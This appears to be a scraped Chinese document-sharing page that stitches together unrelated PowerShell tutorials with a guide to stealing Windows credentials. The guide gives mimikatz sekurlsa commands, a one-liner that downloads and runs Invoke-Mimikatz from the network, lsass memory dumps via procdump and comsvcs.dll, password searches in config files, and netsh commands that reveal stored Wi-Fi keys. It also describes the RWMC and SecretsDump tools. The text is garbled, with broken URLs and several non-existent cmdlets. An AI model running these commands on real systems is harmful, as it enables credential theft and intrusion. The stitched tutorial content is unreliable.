rwmc利用powershell提取windows凭证的利器
- 格式:doc
- 大小:23.00 KB
- 文档页数:4
windows powershell基本语法及常用命令摘要:一、Windows PowerShell 简介二、Windows PowerShell 基本语法三、Windows PowerShell 常用命令四、总结正文:一、Windows PowerShell 简介Windows PowerShell 是一种命令行界面和脚本语言,专门为系统管理而设计。
它引入了许多非常有用的新概念,从而进一步扩展了用户在Windows 命令提示符和Windows 脚本主机环境中获得的知识和创建的脚本。
Windows PowerShell 弥补了Windows 在shell 方面的不足,为程序开发人员提供了一种更高效的编写脚本的工具。
二、Windows PowerShell 基本语法1.变量在Windows PowerShell 中,变量是一种存储数据的容器。
可以使用以下语法声明变量:```变量名= 价值```例如:```$name = "张三"$age = 25```2.输出在Windows PowerShell 中,可以使用`Write-Host`命令或简写`Write-Output`命令(`>`)输出变量的值:```Write-Host "姓名:$name"```3.输入在Windows PowerShell 中,可以使用`Read-Host`命令从用户接收输入:```$name = Read-Host "请输入您的姓名:"```4.注释在Windows PowerShell 中,可以使用井号(#)添加注释:```# 这是一条注释```5.条件语句在Windows PowerShell 中,可以使用`if`、`else`和`elif`关键字实现条件语句:```if ($age -gt 18) {Write-Host "您已经成年"} elseif ($age -lt 18) {Write-Host "您还未成年"} else {Write-Host "您的年龄为:$age"}```三、Windows PowerShell 常用命令1.文件操作- `Get-ChildItem`:获取文件夹中的文件列表- `Set-Content`:设置文件内容- `Copy-Item`:复制文件或文件夹- `Move-Item`:移动文件或文件夹- `Delete-Item`:删除文件或文件夹2.文本操作- `Get-Content`:读取文本内容- `Set-Content`:设置文本内容- `WriteLine`:添加一行文本- `Read-Line`:读取一行文本3.数组操作- `Get-Array`:获取数组- `Set-Array`:设置数组- `$array = @()`:创建一个空数组- `$array = @(1,2,3)`:创建一个包含三个元素的数组4.日期操作- `Get-Date`:获取当前日期和时间- `Set-Date`:设置日期和时间- `Date`:显示当前日期和时间四、总结Windows PowerShell 是一种功能强大的命令行界面和脚本语言,它为系统管理员提供了一种更高效的编写脚本的工具。
powershell常用命令近期因工作需要,经常使用powershell功能,总结以下常用命令,便于工作使用。
1.Get-Command :得到所有PowerShell命令,获取有关cmdlet 以及有关Windows PowerShell 命令的其他元素的基本信息。
包括Cmdlet、Alias、Function。
2.Get-Process :获取所有进程3.Get-Help :显示有关Windows PowerShell 命令和概念的信息4.Get-History :获取在当前会话中输入的命令的列表5.Get-Job :获取在当前会话中运行的Windows PowerShell 后台作业6.Get-FormatData :获取当前会话中的格式数据7.Get-Event :获取事件队列中的事件8.Get-Alias :获取当前会话的别名9.Get-Culture :获取操作系统中设置的当前区域性10. Get-Date :获取当前日期和时间11. Get-Host :获取表示当前主机程序的对象12.Get-Member :获取对象的属性和方法。
13.Get-Random :从集合中获取随机数或随机选择对象14.Get-UICulture :获取操作系统中当前用户界面(UI) 区域性设置15.Get-Unique :从排序列表返回唯一项目16.Get-Variable :获取当前控制台中的变量17.Get-EventLog :获取本地或远程计算机上的事件日志或事件日志列表中的事件18.Get-ChildItem :获取一个或多个指定位置中的项和子项19.Get-Content :获取指定位置的项的内容20.Get-ItemProperty :获取指定项的属性21.Get-Wmi :获取Windows Management Instrumentation (WMI) 类的实例或可用类的相关信息22.Get-Location :获取当前工作位置的相关信息(如:F:\Users\TaoMin )23.Get-PSDrive:获取当前会话中的Windows PowerShell 驱动器24.Get-Item:获取位于指定位置的项25.Get-Process :获取在本地计算机或远程计算机上运行的进程26.Get-Service :获取本地或远程计算机上的服务27.Get-Transaction :获取当前(活动)事务28.Get-ExecutionPolicy :获取当前会话中的执行策略二.Set类(set类命令一般都含有参数)1.Set-Alias :在当前Windows PowerShell 会话中为cmdlet 或其他命令元素创建或更改别名(替代名称)如:如:Set-Alias aaa Get-Command2.Set-PSDebug :打开和关闭脚本调试功能,设置跟踪级别并切换strict 模式3.Set-StrictMode :建立和强制执行表达式、脚本和脚本块中的编码规则4.Set-Date :将计算机上的系统时间更改为指定的时间5.Set-Variable :设置变量的值,如果该变量还不存在,则创建该变量6.Set-PSBreakpoint :在行、命令或者变量上设置断点7.Set-Location :将当前工作位置设置为指定的位置8.Set-Item :将项的值更改为命令中指定的值9.Set-Service :启动、停止和挂起服务并更改服务的属性10.Set-Content :在项中写入内容或用新内容替换其中的内容11.Set-ItemProperty :创建或更改某一项的属性值12.Set-WmiInstance :创建或更新现有Windows Management Instrumentation (WMI) 类的实例13.Set-ExecutionPolicy :更改Windows PowerShell 执行策略的用户首选项。
简述Windows 7中的Windows PowerShell功能更新: 2011-04-08 15:54全文阅读分步阅读加入杂志也许有人会问,这么多的Windows版本过去了,命令提示符怎么还是那样啊?以前大家都是在命令提示符(cmd.exe)中对系统进行维护和管理的。
Windows7时代带来了一个强大的工具Windows PowerShell。
他必将成为CMD的继任者,成为下一代命令行工具。
这是一种命令行界面和脚本语言,专门为系统管理而设计。
Windows PowerShell使得IT管理员更容易地控制系统管理和加速自动化。
Windows PowerShell 中的简单命令工具(称为 cmdlet)允许通过命令行管理企业中的计算机。
通过 Windows Power Shell 提供程序,可以像访问文件系统那样方便地访问数据存储,如注册表和证书存储。
此外,Windows PowerShell 还完全支持所有 Windows Management Instrumentation (WMI)类。
最重要的是允许我们进行扩展,可以编写自己的 cmdlet、提供程序、函数和脚本,并可以在模块中将其打包以便与其他用户共享。
Windows 7 中包含 Windows PowerShell 2.0。
它还包含可以添加到 Windows PowerShell 的其他 cmdlet、提供程序和工具,以便您可以使用和管理其他 Windows 技术,如 Active Directory(R) 域服务、Windows BitLocker 驱动器加密、DHCP 服务器服务、组策略、远程桌面服务和 Windows Server Backup。
步骤/方法1. 1在Windows 7中的Windows PowerShell中进行了以下更改:1 新的 cmdlet:包含 100 多个新的 cmdlet,包括 Get-Hotfix、Send-MailMessage、Get-ComputerRestorePoint、New- WebServiceProxy、Debug-Process、Add-C omputer、Rename-Computer、Reset- ComputerMachinePassword 和 Get-Random。
powershell正则表达式提取(原创实用版)目录1.PowerShell 简介2.正则表达式的概念与应用3.PowerShell 中正则表达式的使用4.提取字符串的例子与解析正文一、PowerShell 简介PowerShell 是一款由微软公司开发的自动化脚本编写工具,其强大的功能可以满足各种复杂的任务需求。
PowerShell 具有对.NET 框架的完全支持,可以轻松地操作各种数据结构,为开发者和系统管理员提供了便捷的操作方式。
二、正则表达式的概念与应用正则表达式(Regular Expression,简称 regex)是一种用于处理字符串的强大工具,可以用来查找特定的文本模式、验证输入的数据格式等。
正则表达式通常由一系列特殊字符和元字符组成,如“.”表示任意字符,“*”表示零个或多个前面的字符等。
三、PowerShell 中正则表达式的使用在 PowerShell 中,可以使用正则表达式来进行各种字符串操作,如查找、替换、分割等。
以下是一些常用的正则表达式操作方法:1.使用“Select-String”命令进行字符串匹配:```powershell$string = "Hello, World! Welcome to PowerShell."$pattern = "bw+b" # 匹配单词$matches = $string -as [string[]] | Select-String -Pattern $pattern```2.使用“Replace”命令进行字符串替换:```powershell$string = "Hello, World! Welcome to PowerShell."$pattern = "bWorldb" # 匹配“World”$replacement = "Universe"$newString = $string -as [string[]] | ForEach-Object { $_ -replace $pattern, $replacement }```3.使用“Split”命令进行字符串分割:```powershell$string = "one,two,three,four"$pattern = "s+(?=[d,])" # 匹配非数字字符$array = $string -as [string[]] | Split-String -Pattern $pattern```四、提取字符串的例子与解析假设我们有一个包含多个 URL 的字符串,现在需要提取出所有的URL 链接。
Windows下登录凭证-密码获取⼯具Windows的系统密码hash默认情况下⼀般由两部分组成:第⼀部分是LM-hash,第⼆部分是NTLM-hash。
Windows系统下hash密码格式⽤户名称:RID:LM-HASH值:NT-HASH值。
Administrator:500:AF01DF70036EBACFAAD3B435B51404EE:44F077E27F6FEF69E7BD834C7242B040⽤户名称为:AdministratorRID为:500LM-HASH值为:AF01DF70036EBACFAAD3B435B51404EENT-HASH值为:44F077E27F6FEF69E7BD834C7242B040破解⽅式⼀:hash在线破解⽹站:https://www.objectif-securite.ch/ophcrackmimikatz使⽤起来也⾮常简单,提取Windows系统的明⽂密码只需两⾏命令:.privilege::debugsekurlsa::logonpasswords破解⽅式三:wcewce的常⽤参数使⽤说明如下:参数解释:-l 列出登录的会话和NTLM凭据(默认值)-s 修改当前登录会话的NTLM凭据参数:<⽤户名>:<域名>:<LM哈希>:<NT哈希>-w 通过摘要式认证缓存⼀个明⽂的密码破解⽅式四:Powershell+mimikatz直接利⽤poweshell来调⽤mimikatz抓取系统内的明⽂密码。
powershell "IEX (New-Object Net.WebClient).DownloadString('https:///mattifestation/PowerSploit/master/Exfiltration/Invoke-M imikatz.ps1'); Invoke-Mimikatz -DumpCreds"# 将⼯具拷贝到⽬标机器上执⾏如下命令(需要管理员权限,我选择的版本是64位)procdump.exe -accepteula -ma lsass.exe lsass.dmp# 将⽣成的内存dump⽂件拷贝到mimikatz同⽬录下,双击打开mimikatz执⾏情况如图:mimikatz # sekurlsa::minidump lsass.dmp# Switch to MINIDUMPmimikatz # sekurlsa::logonPasswords fullfindstr /i /s "password" *.configfindstr /i /s "password" *.inifindstr /i /s "password" *.xml5、查看电脑wifi密码# 查看电脑连接过的所有wifinetsh wlan show profiles# 查看wifi信号为Aaron的密码netsh wlan show profiles name="Aaron" key=clear# CMD⼀键获取所有连接过的WIFI密码for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear。
本文将要结合自己的经验,介绍不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。
0x01 简介本文将要介绍以下内容:·从lsass.exe进程导出凭据的常用方法。
·限制上传文件长度时导出凭据的方法。
·限制下载文件长度时导出凭据的方法。
0x02 从lsass.exe进程导出凭据的常用方法1.使用mimikatz直接导出凭据直接从lsass.exe进程的内存中导出凭据,命令如下:mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit通常这种方式会被安全产品拦截。
2.通过lsass.exe进程的dmp文件导出凭据(1)获得lsass.exe进程的dmp文件procdump命令如下:procdump64.exe -accepteula -ma lsass.exe lsass.dmpc++实现https:///killswitch-GUI/minidump-libpowershell实现https:///PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1c#实现https:///GhostPack/SharpDump使用comsvcs.dll示例参数如下:rundll32 C:\windows\system32\comsvcs.dll MiniDump 808 C:\test\lsass.dmp full注:使用comsvcs.dll的方法可参考之前的分析文章《MiniDumpWriteDump via COM+ Services DLL》的利用测试以上方法在原理上都是通过API MiniDumpWriteDump()获得进程的dmp文件。
在Windows操作系统下使用PowerShell PowerShell是一个强大的脚本语言和交互式命令行工具,可以在Windows操作系统下进行管理和自动化任务。
它是一种命令行界面,可以方便快捷地管理和配置系统,也可以使用脚本编写任务来提高工作效率。
安装和启动PowerShell安装PowerShell和启动它很容易。
在Windows操作系统下,PowerShell已经默认安装,只需要打开搜索框,输入PowerShell,就可以找到它。
点击打开即可,也可以按下Win+X组合键选择PowerShell来启动。
PowerShell的基本命令和语法PowerShell有很多命令和语法,这里讨论几个最基本的命令和语法,帮助初学者了解PowerShell的基础知识。
1. Get-Command这个命令可以用来获得所有命令的列表,语法为Get-Command。
例如:Get-Command这将返回所有命令的列表,这些命令在当前计算机上可用。
2. Get-Help这个命令可以用来获得关于其他命令的帮助文档,语法为Get-Help。
例如:Get-Help Get-Command这将返回有关Get-Command命令的帮助文档。
3. Get-Process这个命令可以用来获得正在运行的进程的列表,语法为Get-Process。
例如:Get-Process这将返回当前计算机上正在运行的所有进程的列表,包括它们的进程ID和内存使用情况。
4. Set-ExecutionPolicy这个命令可用于设置PowerShell的执行策略,以获得更好的安全性。
执行策略指定可以在计算机上运行哪些脚本。
例如:Set-ExecutionPolicy RemoteSigned这将允许用户运行本地脚本和远程签名的脚本。
5. Get-ChildItem这个命令可以用来列出目录和文件,语法为Get-ChildItem。
例如:Get-ChildItem这将返回当前工作目录下的所有目录和文件。
powershell 截取用法PowerShell是一种 shell 脚本语言,旨在为Windows提供一个强大而灵活的解决方案。
它可以帮助您轻松管理Windows系统,包括截取它的字符串。
在本文中,我们将介绍PowerShell截取用法,并提供有关如何截取字符串的详细说明。
PowerShell中字符串截取的基本语法如下:$string.Substring(startIndex[, length])其中,$string是要截取的字符串变量;startIndex是一个整数,表示截取的起始位置;length是一个可选的整数,表示截取的长度。
如果省略length,则从startIndex开始的剩余部分适用于截断的字符串。
PowerShell中的字符串是由字符数组组成的。
其元素可以通过索引表示。
例如,以下代码将创建一个字符串,然后使用Substring方法从第三个字符开始截取:在上面的代码中,$result字符串将包含从第三个字符到字符串末尾的所有字符,即“llo world”。
现在,假设我们想从第三个字符开始截取5个字符。
我们可以使用以下代码:这将抽取“llo w”子字符串。
另一种方法是使用字符串索引符。
以下代码将从第三个字符开始截取,直到字符串末尾:我们使用[2..($myString.Length - 1)]来表示从索引2开始到最后一个字符。
注意,在上面的示例中,我们确定子字符串的长度通过用字符串长度减去起始索引。
这意味着我们可以轻松地忽略长度参数。
例如,以下代码将提取从第二个字符到字符串末尾的所有字符:请注意,startIndex参数是基于零的。
这意味着第一个字符的索引为0。
另一个常见的用例是通过分隔符截取字符串。
在PowerShell中,一种常见的方法是使用Split方法。
以下代码将使用“\”分隔符分隔一个文件路径,并提取其最后一个元素:$filePath = "C:\Program Files\MyFile.txt"$fileName = $filePath.Split("\")[-1]在上面的代码中,我们首先使用Split方法,将字符串分成多个子字符串,每个子字符串通过指定的分隔符(这里是“\”)间隔。
secretsdump原理SecretsDump 原理解析什么是 SecretsDump?SecretsDump 是一个用于从 Windows 系统中获取用户凭证的工具。
它可以通过读取操作系统中的域控制器数据库,获取存储在其中的用户密码散列值,从而帮助管理员进行安全性评估和渗透测试。
SecretsDump 的工作原理1.操作系统存储用户凭证在 Windows 操作系统中,用户的登录密码并不是以明文的方式存储在系统中。
相反,系统会将用户密码转化为散列值(哈希值),然后将这些散列值存储在系统中,以保护用户的密码安全。
2.访问域控制器数据库SecretsDump 在工作时,会通过各种技术手段访问目标 Windows 系统中的域控制器数据库(如 NTDS.dit 文件)。
域控制器数据库是 Windows 域环境中存储用户账户、密码散列值等信息的核心组件。
3.解析散列值SecretsDump 获取到域控制器数据库后,会解析其中的散列值。
散列值是经过密码哈希算法生成的字符串,不可逆转回用户密码明文。
然而,通过对已知密码进行同样密码哈希算法的运算,可以与散列值进行比对,从而获取用户密码。
4.获取用户凭证一旦 SecretsDump 成功解析了目标系统中的密码散列值,它就会生成包含用户凭证的报告。
报告中通常包含用户账户、密码散列值等信息,供管理员进行后续的安全评估和漏洞分析。
SecretsDump 的应用场景•安全性评估SecretsDump 可以帮助安全人员评估 Windows 系统中用户凭证的安全性。
通过检查密码散列值,可以发现弱密码、重复密码等安全风险,从而提醒管理员及时采取措施加强系统的密码安全策略。
•渗透测试渗透测试人员可以利用 SecretsDump 获取目标系统中的部分用户凭证,用于模拟攻击。
通过这些凭证,渗透测试人员可以测试系统在实际攻击中的强度,并评估系统对敏感信息的保护程度。
•密码破解当忘记了某个用户的密码时,管理员可以借助SecretsDump 从系统中获取散列值,然后使用强大的计算资源对散列值进行破解。
rwmc利用powershell提取windows凭证的利器
RWMC(Reveal Windows Memory Credentials)是一个Windows PowerShell脚本,仅仅使用它和CDB命令行选项(Windows调试器)就可以提取Windows凭证,此外可以本地提取、远程提取,还可以从dump出来的内存文件中提取,同时即使运行环境系统架构与目标系统不同,也能够正常工作。
影响范围包括Windows 2003到2012、Windows 7(32位和64位)、Windows 8以及Windows 10家庭版。
值得注意的是,该脚本不同于Mimikatz
和WCE
,因为它不需要利用系统dll文件来解密数据,所有的解密工作都在这个脚本中完成。
功能清单
RWMC的主要功能和特点包括:
1、完全的PowerShell脚本实现
2、能够在本地工作、远程工作,或者从目标机器上收集到的dump文件中提取
3、不需要使用操作系统dll文件来在内存中定位凭证地址,但是需要一个简单的微软调试器
4、不需要使用操作系统dll文件来破译收集的密码,破译工
作完全由PowerShell脚本实现(AES、3DES、DES-X)
5、它能够破译微软未归档的DES-X
6、它能够工作在与目标系统不同架构的系统上
7、在内存中不留痕迹
工作环境范围
它能够正常工作的系统版本包括:
Windows 2003到2012,以及Windows 10 (在Windows 2003、2008R2、2012、2012R2以及Windows 7的32位和64位平台、Windows 8和Windows 10的家庭版都测试通过)。
甚至,在另一种与目标系统不同架构的系统上也能正常工作。
运行环境要求
为了确保正常有效地工作,需要具备以下环境:
1、PowerShell 3
2、允许在你的机器上运行PowerShell脚本,所以需要修改PowerShell执行策略,例如:Set-ExecutionPolicy Unrestricted -force
3、与互联网连通
使用举例
下面,以Windows 2012R2或Windows 10系统为例,给出使用该工具的不同方法:
(1)远程提取:
* Launch the script
* Local computer, Remote computer or from a dump file ? (local, remote, dump): remote [enter]
* serverName [enter]
(2)从一个dump文件中提取:如果你必须转储目标机器的本地安全认证子系统服务(LSASS)进程信息,你可以用下面的功能选项来执行脚本:
* Launch the script
* Local computer, Remote computer or from a dump file ? (local, remote, dump): dump [enter]
* d:\directory_of_the_dump [enter]
(3)本地提取
* Launch the script
* Local computer, Remote computer or from a dump file ? (local, remote, dump): local [enter]
Github下载地址
你可以在这里下载RWMC:点我下载。
darknet
、
Github
,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客()。